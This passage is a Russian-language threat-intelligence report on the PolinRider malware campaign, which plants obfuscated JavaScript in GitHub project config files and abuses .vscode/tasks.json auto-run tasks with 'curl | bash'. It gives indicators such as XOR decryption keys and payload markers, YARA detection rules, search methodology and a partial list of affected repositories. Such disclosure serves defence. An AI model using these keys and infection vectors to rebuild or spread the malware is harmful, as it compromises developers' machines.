  • 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Вторичный)

API Endpoint: https://fullnode.mainnet.aptoslabs.com/v1/accounts/

RPC-узлы BSC

  • bsc-dataseed.binance.org
  • bsc-rpc.publicnode.com

Method: eth_getTransactionByHash

Ключи дешифрования XOR

  • Основной ключ: 2[gWfGj;<:-93Z^C
  • Вторичный ключ: m6:tTh^D)cBz?NM]

UUID шаблона StakingGame

  • e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — появляется в поле projectInfo.uuid вредоносного .vscode/tasks.json для шаблона фиктивного собеседования StakingGame. Очень специфичен; 0 ложных срабатываний при тестировании.

Правило YARA (рекомендуемое) — охватывает оба варианта

Исходное правило rmcej_otb_payload (все еще действующее для исходного варианта) было заменено многовекторным правилом, которое обнаруживает как исходный штамм rmcej%otb%, так и ротированный штамм Cot%3t=shtP. Используйте это в конвейерах статического анализа.```yara rule polinrider_payload { meta: description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants" author = "OpenSourceMalware.com" date = "2026-04-10" severity = "high"

root@kitploit:~
strings:
    // Original variant (rmcej%otb%)
    $marker_v1   = "rmcej%otb%"
    $seed1_v1    = "2857687"
    $seed2_v1    = "2667686"
    $varname_v1  = "_$_1e42"
    $global_bang = "global['!']"

    // New variant (Cot%3t=shtP)
    $marker_v2   = "Cot%3t=shtP"
    $seed1_v2    = "1111436"
    $seed2_v2    = "3896884"
    $varname_v2  = "MDy"
    $global_V    = "global['_V']"

    // Common across variants
    $global_r    = "global['r'] = require"
    $global_m    = "global['m'] = module"

condition:
    any of ($marker_*) or
    ($global_bang and ($seed1_v1 or $varname_v1)) or
    ($global_V    and ($seed1_v2 or $varname_v2)) or
    ($global_r and $global_m and (any of ($seed1_*)))

}

root@kitploit:~
### Правило YARA (устаревшее) — только оригинальный вариант```yara
rule rmcej_otb_payload {
    meta:
        description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
        author = "OpenSourceMalware.com"
        date = "2026-03-07"
        severity = "high"

    strings:
        $marker   = "rmcej%otb%"
        $global   = "global['!']"
        $seed1    = "2857687"
        $seed2    = "2667686"
        $varname  = "_$_1e42"

    condition:
        $marker or ($global and $seed1) or ($varname and $seed2)
}

Сбор данных (8 марта — первоначальный метод)

Данные собирались с помощью GitHub Code Search API через gh search code: по одному запросу на каждый заражённый файл, чтобы обойти ограничение в 1000 результатов на запрос. Результаты дедуплицировались по полному имени репозитория.

Имя файла поискаРезультаты
postcss.config.mjs416
tailwind.config.js84
eslint.config.mjs60
App.js13
postcss.config.js13
next.config.mjs12
index.js6
astro.config.mjs6
Другие конфигурационные файлы81
Всего (до дедупликации)700
Уникальных репозиториев675

Методология уточнения (10 апреля — расширенный метод)

Охота 10 апреля расширила сбор данных, объединив пять ортогональных осей и применив стратегию разбиения по расширению/размеру/форку, чтобы обойти ограничение в 1000 результатов на запрос для самой мощной оси.

Оси, использованные в охоте 10–11 апреля

#ОсьДвижокУникальных репозиториев внесено
1filename:temp_auto_push.batGitHub Code Search101
2"_$_1e42" (с уточнением по расширению/размеру/форку)GitHub Code Search1,323
3"function MDy(f)" global _VGitHub Code Search14
4LAST_COMMIT_DATE LAST_COMMIT_TIME extension:batGitHub Code Search236
5Cot%3t=shtP regex с fork:yes archived:yesSourcegraph41
Комбинированный раунд 11,556
6"<malicious_npm_package>" filename:package.json (7 npm-пакетов)GitHub Code Search46
7<url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app)GitHub Code Search145
8"default-configuration.vercel.app" и 4 дочерних поддомена vscode-*.vercel.appGitHub Code Search94
9"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (UUID шаблона StakingGame)GitHub Code Search42
10Последовательное перечисление '8-stN' 1–200 (проверка неиндексированных последовательных тегов)Sourcegraph regex0 новых
Комбинированный раунд 2+215
Всего уникальных (оба раунда + существующий CSV)1,951

Преодоление ограничения в 1000 результатов

Запрос по имени функции-декодера _$_1e42 сообщал total_count: 968 и был ограничен 1000 возвращаемыми элементами, но веб-интерфейс GitHub показывал более 1400 совпадений. Разбиение на ортогональные подзапросы, каждый из которых не превышает 1000 результатов, с последующим объединением, позволило преодолеть это ограничение.

Уточнениеtotal_count
extension:js430
extension:mjs676
extension:cjs17
extension:ts7
extension:html1
size:<50004
size:5000..6000630
size:6000..7000125
size:7000..8000139
size:8000..900056
size:9000..1000036
size:10000..50000112
size:>5000012
fork:true157 (исключены по умолчанию!)

Три ключевых вывода из этого упражнения:

  1. Самым большим скрытым пробелом оказались форки. GitHub Code Search по умолчанию исключает форки (fork:false). Добавление fork:true выявило 157 форков, содержащих маркер, которые были полностью невидимы для исходного запроса.
  2. Разбиение диапазона size:5000..10000 на срезы по 1 КБ дало 986 результатов против заявленных 968 в корзине — даже в пределах сообщаемого общего количества менее 1000 ограничение может скрывать записи. Правильный подход — рекурсивное разбиение на корзины до тех пор, пока каждая корзина не окажется значительно ниже лимита.
  3. Разбиение по extension: даёт больше результатов, чем разбиение по language:, потому что определение языка GitHub иногда исключает .mjs и .cjs из корзины JavaScript.

Объединение результатов разных движков (истинный масштаб)

Объединение данных охоты 10–11 апреля с существующим affected_repos.csv даёт истинный известный на данный момент корпус:

ИсточникУникальных репозиториевУникальных владельцев
Первоначальная публикация от 8 марта675352
affected_repos.csv (обновление от 18 марта)769399
Мастер-список v3 от 10 апреля (5 осей)1,556835
Раунд 2 от 11 апреля (5 дополнительных осей)+215 чистых новых+158 чистых новых
Объединение (истинный масштаб, 11 апреля)1,9511,047

Проверенный на выборках уровень ложных срабатываний

На 44 случайных выборках, взятых из обоих раундов охоты, было зафиксировано 0 ложных срабатываний. Каждый выбранный репозиторий содержал хотя бы один из инвариантов PolinRider (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE внутри .bat для распространения, известный вредоносный npm-пакет в package.json или .vscode/tasks.json с curl | bash на один из известных C2-поддоменов) в файле по индексированному пути оси.

Раунд 2 специально ввёл две новые классификации вариантов в таксономию отправок:

  • malicious_npm: репозиторий содержит один из 7 известных вредоносных npm-пакетов в package.json (45 отправок — почти все повторные загрузки шаблона ShoeVista).
  • tasksjacker: репозиторий содержит .vscode/tasks.json с задачей runOn: folderOpen, выполняющей curl | bash или wget | sh по отношению к C2-поддомену Vercel/Render/Railway (27 отправок — включает кластер шаблонов StakingGame).

Файлы

ФайлОписание
README.mdЭтот отчёт
polinrider-rides-again.mdПоследующий пост в блоге (11 апреля) о росте кампании, слиянии TasksJacker / PolinRider и полном реверс-инжиниринге полезной нагрузки от начала до конца
affected_repos.csvЗатронутые репозитории — сначала организации, затем пользователи, каждый отсортирован по звёздам+форкам по убыванию. Примечание: по состоянию на 2026-04-11 этот CSV содержит 769 записей из коллекции от 18 марта. Охота 10–11 апреля добавила ~1180 новых репозиториев, которые ещё не были объединены в этот CSV (они отслеживаются в reports/polinrider-master-v3-1556.tsv и reports/polinrider-round2-repos.txt). Истинный известный масштаб — 1951 уникальный репозиторий.
affected_users.csvЗатронутые владельцы — сначала организации, затем пользователи, каждый отсортирован по подписчикам по убыванию. По состоянию на 2026-04-11 содержит 399 записей; объединение апрельской охоты составляет 1047 владельцев.
reports/polinrider-master-v3-1556.tsvМастер-список охоты 10 апреля: repo \t osm_status \t threat_id \t severity \t sources для всех 1556 репозиториев, найденных в охоте v3
reports/polinrider-new-v3.tsv705 репозиториев, недавно добавленных в OSM 2026-04-10
reports/polinrider-round2-repos.txtЧистый мастер-список раунда 2 (239 уникальных репозиториев из 5 новых осей)
reports/polinrider-round2-submissions-2026-04-11.tsv72 репозитория, недавно добавленных в OSM 2026-04-11 (раунд 2)
reports/polinrider-scope-v3-2026-04-10.mdПолный отчёт о масштабе v3, включая методологию уточнения и анализ ложных срабатываний
reports/polinrider-submissions-2026-04-10.mdОтчёт о массовой отправке 704 угроз OSM, поданных 2026-04-10
reports/polinrider-scope-v3-2026-04-10.mdОтчёт о масштабе v3

Скомпрометированные репозитории

Все скомпрометированные репозитории можно найти через тег OpenSourceMalware #polinrider.

Приоритизация оповещения

Полные CSV-файлы отсортированы по влиянию для триажа.

Топ-репозиториев по звёздам + форкам

РепозиторийЗвёздыФоркиЗаражённый файл
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform611postcss.config.mjs
Victorola-coder/tewo96tailwind.config.js
Kreliannn/Document-Request-System-FRONTEND81postcss.config.mjs
Atik203/Scholar-Flow44postcss.config.mjs
sparktechagency/Vap-shop-Front-End-70postcss.config.mjs
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND70postcss.config.mjs
coderkhalide/Anti-Detect-Browser24tailwind.config.js
tanushbhootra576/Bionary-Website-Challenge-and-final42tailwind.config.js
tanushbhootra576/collegeConnect51postcss.config.mjs
Kreliannn/commision_portfolio60postcss.config.mjs

Топ-организаций по подписчикам

ОрганизацияПодписчикиЗатронутых репозиториев
sparktechagency13012
FSDTeam-SAA2112
Softvence-Omega-Dev-Ninjas184
Codechef-VITC-Student-Chapter171
softvence-omega-future-stack114
The-Extra-Project111
etrainermis71
tricodenetwork71
Binary-Mindz61
Gamage-Recruiters-40651

Топ-пользователей по подписчикам

ПользовательПодписчикиЗатронутых репозиториев
coderkhalide3494
finom1724
Victorola-coder1211
dhruvmalik007876
saif72437572
a-belard431
Muhammadfaizanjanjua109391
Nathanim1919385
kanchana404333
AKDebug-UX304

Приоритетные цели: sparktechagency (130 подписчиков, 12 репозиториев) и FSDTeam-SAA (21 подписчик, 12 репозиториев) являются организациями с наибольшим объёмом. Среди пользователей coderkhalide (349 подписчиков) имеет самый широкий прямой охват.


Все скомпрометированные репозитории по состоянию на 8 марта 2026 года| # | Репозиторий | Владелец | Тип владельца | Звёзды | Форки | Заражённые файлы | Пути к файлам | Описание | URL репозитория |

| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Организация | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Организация | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Социальная и торговая платформа B2B, объединяющая пользователей, магазины, бренды и оптовиков с функциями реального времени и продвинутой SEO-оптимизацией. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Организация | 1 | 3 | 1 | postcss.config.mjs | Это репозиторий фронтенда компании silekta для модуля MIS. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Организация | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Организация | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Организация | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Организация | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Организация | 3 | 0 | 1 | eslint.config.mjs | Сервер приложения Rayyan | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Организация | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time — это платформа на базе ИИ, позволяющая пользователям создавать персонализированные книги историй, используя собственный голос и лица персонажей. Она превращает рассказывание историй в волшебный, интерактивный и глубоко личный опыт. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/Addis-Career/Frontend | | 12 | etrainermis/mineduc-Form | etrainermis | Организация | 0 | 1 | 1 | postcss.config.mjs | Форум празднования Всемирного дня языка суахили EAC | https://github.com/etrainermis/mineduc-Form | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/brazen-kits | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/Igghy-dashboard | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Организация | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | https://github.com/FlowBondTech/danz-miniapps | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/BrennansWave-com/brennanswave | | 17 | FlowBondTech/danz-web | FlowBondTech | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FlowBondTech/danz-web | | 18 | QualifyAI/qualify-frontend | QualifyAI | Организация | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/QualifyAI/qualify-frontend | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Организация | 0 | 1 | 1 | src/router/index.js | | https://github.com/FSDTeam-SAA/ftfdesignco-backend | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Организация | 1 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/Gamage-Recruiters-406/Rent_a_Car | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Организация | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Umbrelabs-Projects/Procobiz | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Организация | 1 | 0 | 1 | frontend/postcss.config.mjs | Версия развёртывания версии Laurent для Extra-surface. | https://github.com/The-Extra-Project/Extra_surface_repo | | 23 | Automobile-System/frontend | Automobile-System | Организация | 1 | 0 | 1 | postcss.config.mjs | | https://github.com/Automobile-System/frontend | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Организация | 1 | 0 | 1 | tailwind.config.js | Репозиторий MVP первой фазы | https://github.com/VplayProCrypto/mvp_vercel | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/nskustoms_custom_game_site-2.0 | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/gameluke-frontend | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/NexumTechnologies/E-Commerce | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Организация | 0 | 0 | 1 | postcss.config.mjs | Этот репозиторий для тех, кто будет регистрировать администраторов | https://github.com/Umbrelabs-Projects/Hostella-superAdmin | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/admin-dashboard-gman | | 30 | sparktechagency/protippz_website | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/protippz_website | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Организация | 0 | 0 | 1 | postcss.config.mjs | Фронтенд-приложение FlowConnect | https://github.com/FlowRMS/flow-connect-frontend-new | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Anthem-InfoTech-Pvt-Ltd/dashboards | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Организация | 0 | 0 | 1 | postcss.config.mjs | Создание платформы оркестрации агентов, которая является суверенной, управляется токеномикой и создана для сообщества web3. Участие в хакатоне ethdenver. | https://github.com/WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | | 34 | Karigar-App/Karigar | Karigar-App | Организация | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | https://github.com/Karigar-App/Karigar | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/silicon-zisan-website | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/hinkel-Website | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/iwmsadvisors | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Организация | 0 | 0 | 1 | postcss.config.mjs | Административная платформа Hostella | https://github.com/Umbrelabs-Projects/Hostella-admin | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Организация | 0 | 0 | 1 | postcss.config.mjs | Платформа бронирования общежитий Hostella для студентов | https://github.com/Umbrelabs-Projects/Hostella-stu | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Организация | 0 | 0 | 1 | userportal/postcss.config.mjs | Пользовательский портал + слой управления | Управление квотами, обеспечение соблюдения правил, проверка ключей API. | https://github.com/iwb25-412-vertex-prime/apigateway-v1 | | 41 | Cloudrika/cloudrika-web | Cloudrika | Организация | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | https://github.com/Cloudrika/cloudrika-web | | 42 | sparktechagency/consult_dashboard | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/consult_dashboard | | 43 | sparktechagency/jonowoods-website | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/jonowoods-website | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/profitable-website-v2 | | 46 | musetax/Amus-fe | musetax | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/musetax/Amus-fe | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/faceAi-front-end | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/any-job-dashboard | | 49 | sparktechagency/anyjob-web | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/anyjob-web | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/lawalx_frontend | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/softvence-omega-future-stack/kilian-rodhe-last- | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Организация | 0 | 0 | 1 | apps/web/postcss.config.mjs | Создание клиента инфраструктуры оркестрации #FedArch с реестром агентов на блокчейне. Участие в хакатоне ETHDenver 2026 | https://github.com/WeOwnNetwork/EthDenver-submission | | 53 | sparktechagency/betopia-website | sparktechagency | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/sparktechagency/betopia-website | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/FlowRMSLabs/flowdemandwebsite | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/BhavikPatel-dreamz/wove-gift-portal | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/GARAGE-POS/nextjs_test | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Организация | 0 | 0 | 1 | postcss.config.mjs | Homeopathway | https://github.com/BhavikPatel-dreamz/Homeopathway | | 59 | digitalschool-tech/tech-static | digitalschool-tech | Организация | 0 | 0 | 1 | postcss.config.mjs | | https://github.com/digitalschool-tech/tech-static | | 60 | tricodenetwork/lock-up | tricodenetwork | Организация | 0 | 0 | 1 | frontend/postcss.config.mjs | | https://github.com/tricodenetwork/lock-up | | 61 | Sahl-AI/sahl-ai-iframe | Sahl-AI | Организация | 0 | 0 | 1 | tailwind.config.js | Содержит демо-приложение React для тестирования подхода с iframe | https://github.com/Sahl-AI/sahl-ai-iframe | | 62 | dawahanigeria-team/domainping | dawahanigeria-team | Организация | 0 | 0 | 1 | frontend/tailwind.config.js | | https://github.com/dawahanigeria-team/domainping | | 63 | shahid538org/microrealestate | shahid538org | Организация | 0 | 0 | 1 | webapps/landlord/tailwind.config.js | | https://github.com/shahid538org/microrealestate | | 64 | orynth-dev/vite-shadcn-template | orynth-dev | Организация | 0 | 0 | 1 | tailwind.config.js | | https://github.com/orynth-dev/vite-shadcn-template | | 65 | FlowBondTech/egator | FlowBondTech | Организация | 0 | 0 | 1 | apps/web/tailwind.config.js | AIeGator — механизм агрегации событий на базе ИИ (ETHDenver через Luma) | https://github.com/FlowBondTech/egator | | 66 | sparktechagency/u_tee_hub | sparktechagency | Организация | 0 | 0 | 1 | tailwind.config.js | | https://github.com/sparktechagency/u_tee_hub | | 67 | Enigma-Incorporated-Ltd/N0DE-Website | Enigma-Incorporated-Ltd | Организация | 0 | 0 | 2 | tailwind.config.js | src/tailwind.config.js | | https://github.com/Enigma-Incorporated-Ltd/N0DE-Website | | 68 | FSDTeam-SAA/AMES_Investment_new | FSDTeam-SAA | Организация | 0 | 0 | 1 | tailwind.config.js | | https://github.com/FSDTeam-SAA/AMES_Investment_new | | 69 | Frontier-tech-consulting/olas-mcp-application-workflow | Frontier-tech-consulting | Организация | 0 | 0 | 1 | docs/tailwind.config.js | Содержит соответствующий рабочий процесс UI-макета для экосистемы Olas (для запуска пользователями MCP-приложения для цепочечных взаимодействий). | https://github.com/Frontier-tech-consulting/olas-mcp-application-workflow | | 70 | Softvence-Omega-Dev-Ninjas/vic_pec_server_app | Softvence-Omega-Dev-Ninjas | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/vic_pec_server_app | | 71 | Softvence-Omega-Dev-Ninjas/jdadzok_server | Softvence-Omega-Dev-Ninjas | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/jdadzok_server | | 72 | Binary-Mindz/agimtula_server | Binary-Mindz | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Binary-Mindz/agimtula_server | | 73 | Softvence-Omega-Dev-Ninjas/alvaaro-server | Softvence-Omega-Dev-Ninjas | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Dev-Ninjas/alvaaro-server | | 74 | Softvence-Omega-Cyber-Monk/nishant-server | Softvence-Omega-Cyber-Monk | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/Softvence-Omega-Cyber-Monk/nishant-server | | 75 | softvence-omega-future-stack/huss-be | softvence-omega-future-stack | Организация | 0 | 0 | 1 | eslint.config.mjs | | https://github.com/softvence-omega-future-stack/huss-be | | 76 | BhavikPatel-dreamz/Products-filters-react | BhavikPatel-dreamz | Организация | 0 | 0 | 1 | src/App.js | | https://github.com/BhavikPatel-dreamz/Products-filters-react | | 77 | Victorola-coder/tewo | Victorola-coder | Пользователь | 9 | 6 | 1 | tailwind.config.js | tewosimi boboyi, ebi n pami | https://github.com/Victorola-coder/tewo | | 78 | Atik203/Scholar-Flow | Atik203 | Пользователь | 4 | 4 | 1 | apps/frontend/postcss.config.mjs | ScholarFlow — это SaaS-платформа, предназначенная для исследователей, студентов, преподавателей и академических команд для загрузки, организации и рецензирования исследовательских работ с помощью коллекций, аннотаций, поиска и командной работы в общей исследовательской библиотеке. | https://github.com/Atik203/Scholar-Flow | | 79 | Kreliannn/Document-Request-System-FRONTEND | Kreliannn | Пользователь | 8 | 1 | 1 | postcss.config.mjs | Веб-система, позволяющая жителям запрашивать документы barangay онлайн без посещения зала barangay. Жители могут отслеживать статус запроса, получать уведомления по электронной почте и просматривать историю запросов. Администратор barangay может управлять запросами, обновлять статусы и отслеживать историю транзакций. | https://github.com/Kreliannn/Document-Request-System-FRONTEND | | 80 | coderkhalide/Anti-Detect-Browser | coderkhalide | Пользователь | 2 | 4 | 1 | src/renderer/tailwind.config.js | | https://github.com/coderkhalide/Anti-Detect-Browser | | 81 | WeerasingheMSC/ASMS_Frontend | WeerasingheMSC | Пользователь | 1 | 4 | 1 | asms_frontend/postcss.config.mjs | Полнофункциональная система регистрации времени обслуживания и записи на приём для автомобилей, построенная с использованием Next.js, TypeScript, TailwindCSS и Ant Design для фронтенда. Включает порталы для клиентов и сотрудников, отслеживание обслуживания в реальном времени, запись на приём, регистрацию времени и развёртывание в контейнерах. | https://github.com/WeerasingheMSC/ASMS_Frontend | | 82 | fsdteam8/n_Krypted-frontend | fsdteam8 | Пользователь | 0 | 4 | 1 | postcss.config.mjs | | https://github.com/fsdteam8/n_Krypted-frontend | | 83 | tanushbhootra576/Bionary-Website-Challenge-and-final | tanushbhootra576 | Пользователь | 4 | 2 | 1 | bionary_website/tailwind.config.js | | https://github.com/tanushbhootra576/Bionary-Website-Challenge-and-final | | 84 | Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | Kreliannn | Пользователь | 7 | 0 | 1 | postcss.config.mjs | Веб-приложение, использующее ИИ для преобразования PDF-файлов в рецензента типа «вопрос-ответ». Пользователь может настроить сгенерированный результат перед сохранением. Пользователь может просматривать и проходить настраиваемые викторины, используя сохранённый рецензент, созданный ИИ. | https://github.com/Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | | 85 | tanushbhootra576/collegeConnect | tanushbhootra576 | Пользователь | 5 | 1 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/collegeConnect | | 86 | brown2020/ikigaifinder | brown2020 | Пользователь | 4 | 1 | 1 | postcss.config.mjs | | https://github.com/brown2020/ikigaifinder | | 87 | Kreliannn/commision_portfolio | Kreliannn | Пользователь | 6 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/commision_portfolio | | 88 | coderkhalide/Trading-Journal | coderkhalide | Пользователь | 4 | 1 | 1 | postcss.config.mjs | Профессиональный торговый дневник для отслеживания, анализа и улучшения результатов торговли по разным системам и временным рамкам. | https://github.com/coderkhalide/Trading-Journal | | 89 | tanushbhootra576/weather | tanushbhootra576 | Пользователь | 4 | 1 | 1 | postcss.config.mjs | хакатон-проект | https://github.com/tanushbhootra576/weather | | 90 | Kreliannn/student-passed-rate-analysis-frontend | Kreliannn | Пользователь | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/student-passed-rate-analysis-frontend | | 91 | Kreliannn/pharmacy-management-frontend | Kreliannn | Пользователь | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/pharmacy-management-frontend | | 92 | Kreliannn/Employee-management-frontend | Kreliannn | Пользователь | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/Employee-management-frontend | | 93 | Kreliannn/e-commerce-frontend | Kreliannn | Пользователь | 5 | 0 | 1 | postcss.config.mjs | | https://github.com/Kreliannn/e-commerce-frontend | | 94 | umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | umarabid123 | Пользователь | 1 | 2 | 1 | frontend/postcss.config.mjs | | https://github.com/umarabid123/The_INTERNET_OF_AGENTS_HACKATHON | | 95 | ahmadraza382/FinanceAi | ahmadraza382 | Пользователь | 3 | 1 | 1 | tailwind.config.js | Финансовый ИИ-коуч | https://github.com/ahmadraza382/FinanceAi | | 96 | tanushbhootra576/turbo-happiness | tanushbhootra576 | Пользователь | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/turbo-happiness | | 97 | shaheeer-dev/sketchers | shaheeer-dev | Пользователь | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/shaheeer-dev/sketchers | | 98 | tanushbhootra576/game | tanushbhootra576 | Пользователь | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/game | | 99 | tanushbhootra576/GridSaga | tanushbhootra576 | Пользователь | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/GridSaga | | 100 | senulahesara/devkit | senulahesara | Пользователь | 2 | 1 | 1 | postcss.config.mjs | Незаменимые инструменты, молниеносная производительность и функции, работающие офлайн — созданы для оптимизации рабочего процесса и концентрации на главном: написании отличного кода. | https://github.com/senulahesara/devkit | | 101 | tanushbhootra576/week3-forms-and-inputs | tanushbhootra576 | Пользователь | 4 | 0 | 1 | postcss.config.mjs | | https://github.com/tanushbhootra576/week3-forms-and-inputs | | 102 | 